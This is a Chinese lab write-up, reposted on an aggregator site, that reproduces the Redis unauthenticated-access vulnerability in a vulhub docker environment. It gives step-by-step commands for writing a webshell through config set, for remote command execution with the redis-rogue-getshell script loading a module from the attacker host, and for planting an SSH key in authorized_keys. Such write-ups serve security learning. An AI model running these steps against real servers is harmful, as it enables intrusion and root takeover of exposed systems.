【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

这篇具有很好参考价值的文章主要介绍了【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、漏洞详情

影响版本 Redis 2.x,3.x,4.x,5.x

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

漏洞的产生条件有以下两点:

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

二、复现过程

  1. 搭建docker环境

docker-compose up -d
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
docker-compose ps

也可以看出redis 6379已经启动

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

用nmap扫描也可以

nmap -sV 192.168.239.128 -p 1-65535
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
  1. 攻击机安装redis-cli远程连接工具

wget http://download.redis.io/redis-stable.tar.gz
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
tar -zxvf redis-stable.tar.gz
cd redis-stable
make
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
cp src/redis-cli /usr/bin/
redis-cli -h
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
  1. 用redis-cli命令远程免密登录redis主机

# 无密码登录命令
redis-cli -h 目标主机IP
# 有密码登录命令
redis-cli -h 目标主机IP -p 端口6379 -a 登录密码
redis-cli -h 192.168.239.128
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

测试连通性 ping----PONG

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
  1. 写入shell文件

参考:https://blog.csdn.net/weixin_45605352/article/details/118790775

因为靶场没有开启web端口无法直接上传木马文件,所以用写入shell文件的方式添加后门

将dir设置为一个目录A,而dbfilename为文件名B,再执行save或bgsave,则我们就可以写入一个路径为/A/B的任意文件

在tmp目录下写入一个test.php的木马文件

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

写入文件内容时添加几个换行,是因为redis写入文件时会自带一些版本信息,若不换行可能会导致木马无法正常执行

进入靶机查看

docker exec -it 098263dc170f /bin/bash
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

写入shell文件成功

  1. 使用py脚本执行远程命令

git clone https://github.com/vulhub/redis-rogue-getshell.git
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
cd redis-rogue-getshell/RedisModulesSDK/exp
make
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
cd ..
cd ..
回到redis-rogue-getshell目录下
./redis-master.py -r 192.168.239.128 -p 6379 -L 192.168.239.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"
(第一个ip是靶机,第二个ip是攻击机)
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
./redis-master.py -r 192.168.239.128 -p 6379 -L 192.168.239.128 -P 8989 -f RedisModulesSDK/exp/exp.so -c "ls"
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞
  1. ssh公私钥免密登录

原理:
登陆linux有几种方式,最常用的是密码登陆和RSA key 登陆,RSA key登陆是生成一个公私对应的秘钥,然后将公钥放到linux系统的/root/.ssh/authorized_keys的文件中,我们本地客户端通过导入对应私钥进行登陆,这就是RSA key的登陆方式。
但是为什么redis可以获取服务器的root权限呢?
上面RSA key的登陆方式在服务器方面是要将公钥写入authorized_keys文件中的,而redis有一种持久化方式是生成RDB文件,通过持久化将公钥写入root下的authored_keys文件里,这样就将非法的公钥写到了验证文件里,后面我们拿对应私钥登陆即可。(但是这种方式需要再redis是root启动的情况下使用,因为非root权限无法进入/root目录)

在攻击机中生成ssh公钥和私钥文件,密码为空

ssh-keygen -t rsa
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

回车回车回车

进入/root/.ssh目录: 将生成的公钥保存到1.txt:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

使用redis-cli -h ip命令连接靶机,把1.txt写入redis中(因为在上面已经连接过了)

cat 1.txt | redis-cli -h 192.168.239.128 -x set crack
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

更改目标服务器Redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

config set dir /root/.ssh

报错了,说没有root权限

(error) ERR Changing directory: Permission denied

可能是vulhub靶场搭建的问题

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

在网上没找到解决办法😵

那只能看看别的大佬的复现过程了

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

设置上传公钥的备份文件名字为authorized_keys:

CONFIG SET dbfilename authorized_keys
【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

保存并退出

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

此时在攻击机上使用SSH免密登录靶机,利用私钥成功登入redis服务器

【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞

三、总结

还有计时反弹shell的方法,具体还是可以看这位大佬的文章:

https://blog.csdn.net/weixin_45605352/article/details/118790775

第一次看使用公私钥ssh免密登录的过程

还有计时任务反弹的过程

网络安全真是学无止境文章来源地址https://www.toymoban.com/news/detail-425036.html

到了这里,关于【vulhub漏洞复现】redis 4-unacc 未授权访问漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 漏洞复现 - - - Springboot未授权访问

    目录 一, 未授权访问是什么? 二,Actuator介绍 三,怎么进行漏洞发现呢? 四,实验环境 五,漏洞复现 1.通过访问env获取全部环境属性 2.通过/trace提供基本的http请求跟踪信息 3.利用反序列化进行getshell  1.启动脚本 2.开启监听  3.使用bp抓取一个/env的包 4.修改POST数据 未授权

    2024年01月20日
    浏览(44)
  • Druid未授权访问 漏洞复现

    Druid是阿里巴巴数据库事业部出品,为监控而生的数据库连接池。Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控。当开发者配置不当时就可能造成未授权访问漏洞。 1、通过目录扫描或手工输入路径http://www.xxxx.com/druid/index.html,发现存在Druid 未授权访

    2024年02月11日
    浏览(45)
  • 【Elasticsearch 未授权访问漏洞复现】

    ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎,基于RESTful web接口。Elasticsearch是用Java开发的,并作为Apache许可条款下的开放源码发布,是当前流行的企业级搜索引擎。Elasticsearch的增删改查操作全部由http接口完。由于Elasticsearch授权

    2024年02月05日
    浏览(53)
  • SSRF+redis未授权漏洞复现

    1.SSRF 漏洞简介 SSRF(Server-Side Request Forgery)即服务器端请求伪造,是一种由攻击者构造攻击链传给服务器,服务器执行并发起请求造成安全问题的漏洞,一般用来在外网探测或攻击内网服务。当网站需要调用指定URL地址的资源,但是没有对这个URL做好过滤,就会导致可以访问

    2024年02月07日
    浏览(47)
  • 漏洞复现 || Hadoop未授权访问反弹Shell漏洞

    技术文章仅供参考,任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或

    2024年02月16日
    浏览(43)
  • Hadoop未授权访问 getshell——漏洞复现

     Hadoop未授权访问漏洞介绍 Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害

    2024年04月16日
    浏览(51)
  • Springboot Actuator未授权访问漏洞复现

    更新时间:2022.07.20 Spring Boot Actuator 模块提供了生产级别的功能,比如健康检查,审计,指标收集,HTTP 跟踪等,帮助监控和管理Spring Boot 应用。这个模块是一个采集应用内部信息暴露给外部的模块,上述的功能都可以通过HTTP 和 JMX 访问。(来源:https://mp.weixin.qq.com/s/qY-hBSa

    2023年04月16日
    浏览(37)
  • 【漏洞复现】StarRocks MPP数据库未授权访问漏洞

            StarRocks 是一个MPP数据库,具备水平在线扩缩容,金融级高可用,兼容 MySQL 5.7 协议和 MySQL 生态,提供全面向量化引擎与多种数据源联邦查询等重要特性。StarRocks 致力于在全场景 OLAP 业务上为用户提供统一的解决方案,适用于对性能,实时性,并发能力和灵活性有

    2024年01月17日
    浏览(83)
  • CVE-2023-23752:Joomla未授权访问漏洞复现

    本次测试仅供学习使用,如若非法他用,与本文作者无关,需自行负责!!! Joomla是一个免费的开源内容管理系统(CMS),允许用户构建网站和在线应用程序。它于 2005 年首次发布,此后成为最受欢迎的 CMS 平台之一,为全球数百万个网站提供支持。 在 Joomla! 4.0.0 到 4.2.7

    2024年02月10日
    浏览(39)
  • Redis未授权漏洞复现及利用(window,linux)

    目录 1.了解redis 2.redis漏洞原理 3.redis漏洞复现 3.1 安装redis 3.1.1 Linux安装redis  3.1.2 windows安装redis 4.redis漏洞利用 4.1利用redis漏洞写webshell 4.1.1利用前提 4.1.2上传webshell 4.2利用redis漏洞ssh密钥连接 4.2.1 ssh密钥连接 4.2.2 利用前提 4.2.3 客户端生成密钥  4.2.4注意 4.3利用crontab反弹sh

    2023年04月08日
    浏览(78)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包